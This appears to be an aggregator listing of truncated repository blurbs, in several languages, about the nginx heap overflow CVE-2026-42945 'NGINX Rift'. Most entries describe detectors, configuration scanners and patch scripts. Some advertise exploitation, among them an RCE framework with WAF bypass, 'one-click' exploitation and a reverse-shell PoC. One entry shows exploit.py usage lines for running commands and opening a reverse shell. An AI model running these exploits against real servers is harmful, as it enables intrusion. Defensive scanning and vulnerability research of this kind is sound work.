nginx-rift-check

nginx-rift-check CVE-2026-42945 、nginx の ngxhttprewritemodule におけるヒープバッファオーバーフローに対する脆弱な設定を検出します。 影響を受ける nginx バージョン（0.6.27 〜 1.30.0）を実行しているだけでは、悪用可能とは限りません。設定に特定のディレクティブの組み合わせが含まれている必要がありますが、その組み合わせは稀です。実世界の設定を対象とした2回の独立したスキャンでは、1465件中0件、35633件中1件が悪用可能でした。このスクリプトは、あなたの設定がどちらの側にあるかを教えてくれます。 検出対象...

nginx-rift-detect

nginx-rift-detect CVE-2026-42945 （NGINX Rift）の行動検出スクリプト — 2008年からnginxに存在するngxhttprewritemoduleのヒープバッファオーバーフロー。 ⚠️ 免責事項 このツールは許可されたセキュリティテストおよび研究のみ を目的としています。 自分が所有しているか、明示的な書面による許可 を得たシステムに対してのみ実行してください。 無断使用はお住まいの地域のコンピュータ犯罪法に違反する可能性があります。 作者は、このツールの誤用またはそれによって生じた損害について一切責任を負いません。 背景...

nGixshell

nGixShell は nginx の CVE スキャナ兼 RCE エクスプロイトフレームワークです。ngxhttprewritemodule における深刻なヒープバッファオーバーフローである CVE-2026-42945 の動作する概念実証（PoC）と、自動 HTTP プローブ、フィンガープリンティング、WAF 検出・バイパス、Web セキュリティ監査、レポート生成を備えた 53 件の nginx CVE をカバーするスキャナを同梱しています。 外部依存関係ゼロ。純粋な Python 3 標準ライブラリのみで動作します。 クイックスタート root@kitploit: Spin up...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 設定スキャナー 言語：日本語 | English これは、NGINX設定にCVE-2026-42945（NGINX Rift）およびCVE-2026-9256のリスクパターンが存在するかどうかをチェックする軽量スクリプトです。 この脆弱性は、depthfirstが記事「NGINX Rift: Achieving NGINX RCE via an 18-Year-Old...

ai-vuln-rediscovery-nginx-cve-2026-42945

nginx에서 CVE-2026-42945의 AI 지원 재발견 이 저장소는 nginx ngxhttprewritemodule에 대한 재현 가능한 AI 지원 취약점 재발견 실험을 문서화하며, 이후 CVE-2026-42945와 연결되었습니다. 실험은 의도적으로 범위를 좁혔습니다. 취약한 파일인 src/http/ngxhttpscript.c가 모델에 직접 제공되어 감사audit되었습니다. 이는 AI 시스템이 전체 nginx 코드베이스에서 처음부터 자율적으로 문제를 찾았다는 주장이 아닙니다. 요약 감사된 버그는 nginx rewrite 처...

nginx-rift-detector

NGINX Rift Detector for CVE-2026-42945 所有するNGINXサーバー向けの読み取り専用Bashチェッカーです。CVE-2026-42945の開示後、運用担当者が次の2つの質問に答えるのに役立ちます: このサーバーはまだ、露出したNGINXビルドまたは危険なrewrite設定で稼働していますか? チケットを閉じる前に確認が必要な、クラッシュ・長いURI・エンコーディングの兆候がローカルログにありますか? ここから始める 項目| リンク ---|--- ツールページを開く|...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修正スクリプト 自動的にシステムディストリビューションを検出し、NGINXを修正バージョン（≥1.30.1）にアップグレードし、設定をバックアップ、自動ロールバックを行います。 脆弱性説明 脆弱性ID： CVE-2026-42945 脆弱性名称：NGINX Rift NGINXが特定のrewriteリダイレクトルールを処理する際に、リクエスト内容の長さ計算と実際の書き込みが一致しません。攻撃者は悪意のあるリクエストを構築してメモリ破壊を引き起こし、ワーカープロセスのクラッシュやリモートコード実行を引き起こす可能性があります。...

CVE-2026-42945-nginx-rift

このリポジトリには README がありません。...

CVE-2026-42945

このリポジトリには README がありません。...

CVE-2026-42945

CVE-2026-42945 PoC（Go） 中文 | English nginx HTTP/2 実装（CVE-2026-42945） に対する探索・悪用補助ツールで、認可された環境 で脆弱性の有無を確認し、修正効果と比較し、制御された実験環境でPoCの動作を再現するためのものです。 影響を受けるバージョン（おおよその判断）：nginx 0.6.27 – 1.30.0 ；1.30.1+ / 1.31.0+ は修正済み。 ⚠️ 免責事項（必読） このリポジトリは、セキュリティ研究、脆弱性確認、防御テスト専用です。 1. 合法的な許可 ：明確な書面による許可 があるか、完全にあなたが所有する...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — 防御用スキャナー NGINX Open Source 、NGINX Plus 、または NGINX ベースの ingress/controller を実行している組織は、CVE-2026-42945 の影響を受けているか確認し、エクスプロイトが本番環境に到達する前にパッチ適用または再設定を行うべきです。 このリポジトリは、所有またはテスト許可を得たシステム上での認可された防御目的のための読み取り専用、非エクスプロイト スキャナーを提供します。 脆弱性の概要 項目| 詳細 ---|--- CVE| CVE-2026-42945 Nam...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 重大なNGINX RCE CVSS 9.2 分類 カテゴリ: 0-Day / リモートコード実行 CVE: CVE-2026-42945 CVSS: 9.2 重大 発見日: 2026年5月12日 パッチ適用日: 2026年5月（F5四半期セキュリティリリース） ソース: GitHub DepthFirstDisclosures/Nginx-Rift 脆弱性の詳細 NGINX の ngxhttprewritemodule コンポーネントにおけるヒープバッファオーバーフロー で、2008年 に導入され、発見まで16年間 存在していました。...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift リバースシェル付き RCE PoC CVE-2026-42945 のリモートコード実行 RCE 概念実証 PoC です。これは NGINX の ngxhttprewritemodule におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。 脆弱性概要 CVE ID: CVE-2026-42945 別名: NGINX Rift 影響を受けるコンポーネント:...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui jdk21 バージョンの実行が必要 java -jar cve-2026-42945-scanner.... 一括スキャン + ワンクリック脆弱性悪用 jdk21での実行が必要 解凍後 java -jar cve-2026-42945-scanner.... 一括スキャン + ワンクリック脆弱性悪用...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 脆弱性スキャン・検証ツール NGINX Rift は、CVE-2026-42945 および CVE-2026-9256 （NGINX ngxhttprewritemodule ヒープオーバーフロー脆弱性）のためのオープンソーススキャン・検証ツールです。リモートのネットワークフィンガープリントスキャンとローカルの詳細な構成監査をサポートし、セキュリティチームがNGINX環境の潜在的なリスクを迅速に特定するのに役立ちます。 脆弱性概要 CVE-2026-9256 CVSS 4.0: 9.2 Critica...

Scanner_CVE_2026-42945

Nginxインスタンスが脆弱なCVE-2026-42945 NGINX RIFTを検出するスキャナー。 入力として個別IP、CIDR範囲、ASNを受け付けます。 概要 CVE-2026-42945は、1.30.1 より前のすべてのNginxバージョンに影響します。 このツールは、HTTPおよびHTTPSの標準ポートを調査し、レスポンスのServerヘッダーを読み取り、各ホストを脆弱、安全、または潜在的に影響を受ける（隠しバージョン）として分類します。 結果はログに保存され、CVEに脆弱なホストのリストと、最後に詳細な.CSVファイルが出力されます。 要件 root@kitploit: p...

CVE-2026-42945-NGINX-Rift-Check-Script

Questo repository non contiene un README...

nginx-rift-scanner

nginx-rift-scanner Abhängigkeitsfreier Python 3 Scanner für CVE-2026-42945 "NGINX Rift" — ein CVSS v4.0 9.2 KRITISCHER heap-basierter Pufferüberlauf CWE-122 in ngxhttprewritemodule. Was er erkennt Bei jedem Aufruf werden zwei unabhängige Prüfungen durchgeführt:...

cve-2026-42945-scan

cve-2026-42945-scan Scanner statico per file di configurazione NGINX che rileva il pattern rewrite/set associato a CVE-2026-42945. Lo scanner analizza le configurazioni NGINX con crossplane, percorre i blocchi location, e stampa ogni posizione che appare affetta in questo formato: root@kitploit:...